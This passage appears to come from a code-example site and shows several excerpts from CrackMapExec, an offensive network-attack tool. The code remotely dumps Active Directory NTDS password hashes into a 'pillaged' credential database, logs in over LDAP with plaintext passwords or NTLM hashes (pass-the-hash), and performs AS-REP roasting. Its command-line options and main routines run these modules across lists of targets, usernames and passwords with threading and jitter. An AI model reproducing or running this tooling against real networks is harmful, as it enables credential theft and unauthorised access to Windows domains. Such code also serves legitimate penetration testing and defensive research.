                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = server_port_dict[args.server]

                context = Context(db, logger, args)
                module_server = CMEServer(module, context, logger,
                                          args.server_host, args.server_port,
                                          args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        asyncio.run(
            start_threadpool(protocol_object, args, db, targets, jitter))
    except KeyboardInterrupt:
        logging.debug("Got keyboard interrupt")
    finally:
        if module_server:
            module_server.shutdown()
Exemple #28
0
    def ntds(self):
        self.enable_remoteops()
        use_vss_method = False
        NTDSFileName   = None

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_ntds_hash(ntds_hash, host_id):
            add_ntds_hash.ntds_hashes += 1
            self.logger.highlight(ntds_hash)
            if ntds_hash.find('$') == -1:
                if ntds_hash.find('\\') != -1:
                    domain, hash = ntds_hash.split('\\')
                else:
                    domain = self.domain
                    hash = ntds_hash

                try:
                    username,_,lmhash,nthash,_,_,_ = hash.split(':')
                    parsed_hash = ':'.join((lmhash, nthash))
                    if validate_ntlm(parsed_hash):
                        self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
                        add_ntds_hash.added_to_db += 1
                        return
                    raise
                except:
                    logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
            else:
                logging.debug("Dumped hash is a computer account, not adding to db")
        add_ntds_hash.ntds_hashes = 0
        add_ntds_hash.added_to_db = 0

        if self.remote_ops and self.bootkey:
            try:
                if self.args.ntds == 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                 remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                 pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
                                 justUser=None, printUserStatus=False,
                                 perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))

                self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
                NTDS.dump()

                self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
                                                                                                                highlight(add_ntds_hash.added_to_db)))

            except Exception as e:
                #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                #    resumeFile = NTDS.getResumeSessionFile()
                #    if resumeFile is not None:
                #        os.unlink(resumeFile)
                self.logger.error(e)

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            NTDS.finish()
Exemple #29
0
    def plaintext_login(self, domain, username, password):
        self.username = username
        self.password = password
        self.domain = domain
        # Create the baseDN
        self.baseDN = ''
        domainParts = self.domain.split('.')
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

        if self.kdcHost is not None:
            target = self.kdcHost
        else:
            target = domain

        if self.password == '' and self.args.asreproast:
            hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
            if hash_TGT:
                self.logger.highlight(u'{}'.format(hash_TGT))
                with open(self.args.asreproast, 'a+') as hash_asreproast:
                    hash_asreproast.write(hash_TGT + '\n')
            return False

        try:
            self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
            self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
            #self.check_if_admin()

            # Connect to LDAP
            out = u'{}{}:{} {}'.format('{}\\'.format(domain),
                                                username,
                                                password,
                                                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)

            if not self.args.continue_on_success:
                return True

        except ldap_impacket.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                try:
                    self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                    self.logger.success(out)
                except ldap_impacket.LDAPSessionError as e:
                    self.logger.error(u'{}\{}:{}'.format(self.domain, 
                                                            self.username, 
                                                            self.password))
            else:
                self.logger.error(u'{}\{}:{}'.format(self.domain, 
                                                 self.username, 
                                                 self.password))
            return False

        except OSError as e:
            self.logger.error(u'{}\{}:{} {}'.format(self.domain, 
                                                 self.username, 
                                                 self.password,
                                                 "Error connecting to the domain, please add option --kdcHost with the IP of the domain controller"))
            return False
Exemple #30
0
    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        self.hash = ntlm_hash
        if lmhash: self.lmhash = lmhash
        if nthash: self.nthash = nthash

        self.username = username
        self.domain = domain

        if self.kdcHost is not None:
            target = self.kdcHost
        else:
            target = domain
            self.kdcHost = domain

        # Create the baseDN
        self.baseDN = ''
        domainParts = self.kdcHost.split('.')
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # Remove last ','
        self.baseDN = self.baseDN[:-1]

        if self.hash == '' and self.args.asreproast:
            hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
            if hash_TGT:
                self.logger.highlight(u'{}'.format(hash_TGT))
                with open(self.args.asreproast, 'a+') as hash_asreproast:
                    hash_asreproast.write(hash_TGT + '\n')
            return False

        # Connect to LDAP
        try:
            self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
            self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
            self.check_if_admin()
            out = u'{}{}:{} {}'.format('{}\\'.format(domain),
                                    username,
                                    nthash,
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.extra['protocol'] = "LDAP"
            self.logger.extra['port'] = "389"
            self.logger.success(out)

            add_user_bh(self.username, self.domain, self.logger, self.config)
            if not self.args.continue_on_success:
                return True
        except ldap_impacket.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                try:
                    # We need to try SSL
                    self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                    self.logger.extra['protocol'] = "LDAPS"
                    self.logger.extra['port'] = "636"
                    self.logger.success(out)
                except ldap_impacket.LDAPSessionError as e:
                    errorCode = str(e).split()[-2][:-1]
                    self.logger.error(u'{}\\{}:{} {}'.format(self.domain, 
                                                    self.username, 
                                                    self.password,
                                                    ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
                                                    color='magenta' if errorCode in ldap_error_status else 'red')
            else:
                errorCode = str(e).split()[-2][:-1]
                self.logger.error(u'{}\\{}:{} {}'.format(self.domain, 
                                                 self.username, 
                                                 self.password,
                                                 ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
                                                 color='magenta' if errorCode in ldap_error_status else 'red')
            return False
        except OSError as e:
            self.logger.error(u'{}\\{}:{} {}'.format(self.domain, 
                                                 self.username, 
                                                 self.nthash,
                                                 "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
            return False
Exemple #31
0
def gen_cli_args():

    VERSION  = '4.0.1dev'
    CODENAME = 'Bug Pr0n'

    p_loader =  protocol_loader()
    protocols = p_loader.get_protocols()

    parser = argparse.ArgumentParser(description="""
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                                         A swiss army knife for pentesting networks
                                    Forged by @byt3bl33d3r using the powah of dank memes

                                                      {}: {}
                                                     {}: {}
""".format(highlight('Version', 'red'),
           highlight(VERSION),
           highlight('Codename', 'red'),
           highlight(CODENAME)),

                                    formatter_class=RawTextHelpFormatter,
                                    version='{} - {}'.format(VERSION, CODENAME),
                                    epilog="Ya feelin' a bit buggy all of a sudden?")

    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
    parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
    parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
    parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
    parser.add_argument("--verbose", action='store_true', help="enable verbose output")

    subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')

    std_parser = argparse.ArgumentParser(add_help=False)
    std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
    std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
    std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
    std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
    fail_group = std_parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
    fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
    fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')

    module_parser = argparse.ArgumentParser(add_help=False)
    mgroup = module_parser.add_mutually_exclusive_group()
    mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use')
    #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
    module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
    module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
    module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
    module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
    module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
    module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')

    for protocol in protocols.keys():
        protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
        subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    return args
Exemple #32
0
def main():

    setup_logger()
    logger = CMEAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    if args.darrell:
        links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
        except:
            sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    config = ConfigParser()
    config.read(os.path.join(cme_path, 'cme.conf'))

    module  = None
    module_server = None
    targets = []
    jitter = None
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = config.get('CME', 'workspace')

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if args.jitter:
        if '-' in args.jitter:
            start, end = args.jitter.split('-')
            jitter = (int(start), int(end))
        else:
            jitter = (0, int(args.jitter))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error('Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if os.path.exists(target):
                with open(target, 'r') as target_file:
                    for target_entry in target_file:
                        targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
    if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts:
        shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        logger.success('Cleared cached obfuscated PowerShell scripts')

    if hasattr(args, 'obfs') and args.obfs:
        powershell.obfuscate_ps_scripts = True

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database')

    db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.info('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.info('{} module options:\n{}'.format(name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = server_port_dict[args.server]

                context = Context(db, logger, args)
                module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = []
        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

            if jitter:
                value = random.choice(range(jitter[0], jitter[1]))
                logging.debug("Doin' the Jitterbug for {} seconds".format(value))
                sleep(value)

        for job in jobs:
            job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if module_server: module_server.shutdown()
Exemple #33
0
def main():

    setup_logger()
    logger = CMEAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    if args.darrell:
        links = open(
            os.path.join(os.path.dirname(cme.__file__), 'data',
                         'videos_for_darrell.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
        except:
            sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    config = ConfigParser()
    config.read(os.path.join(cme_path, 'cme.conf'))

    module = None
    module_server = None
    targets = []
    jitter = None
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = config.get('CME', 'workspace')

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if args.jitter:
        if '-' in args.jitter:
            start, end = args.jitter.split('-')
            jitter = (int(start), int(end))
        else:
            jitter = (0, int(args.jitter))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if os.path.exists(target):
                with open(target, 'r') as target_file:
                    for target_entry in target_file:
                        targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path),
                              args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path),
                                 'database')

    db_path = os.path.join(cme_path, 'workspaces', current_workspace,
                           args.protocol + '.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for m in modules:
                logger.info('{:<25} {}'.format(m, modules[m]['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    logger.info('{} module options:\n{}'.format(
                        m, modules[m]['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    module = loader.init_module(modules[m]['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(
                    highlight(
                        '[!] Module is not opsec safe, are you sure you want to run this? [Y/n]',
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(
                    highlight(
                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n]",
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(
                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = server_port_dict[args.server]

                context = Context(db, logger, args)
                module_server = CMEServer(module, context, logger,
                                          args.server_host, args.server_port,
                                          args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = []
        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

            if jitter:
                value = random.choice(range(jitter[0], jitter[1]))
                logging.debug(
                    "Doin' the Jitterbug for {} seconds".format(value))
                sleep(value)

        for job in jobs:
            job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if module_server: module_server.shutdown()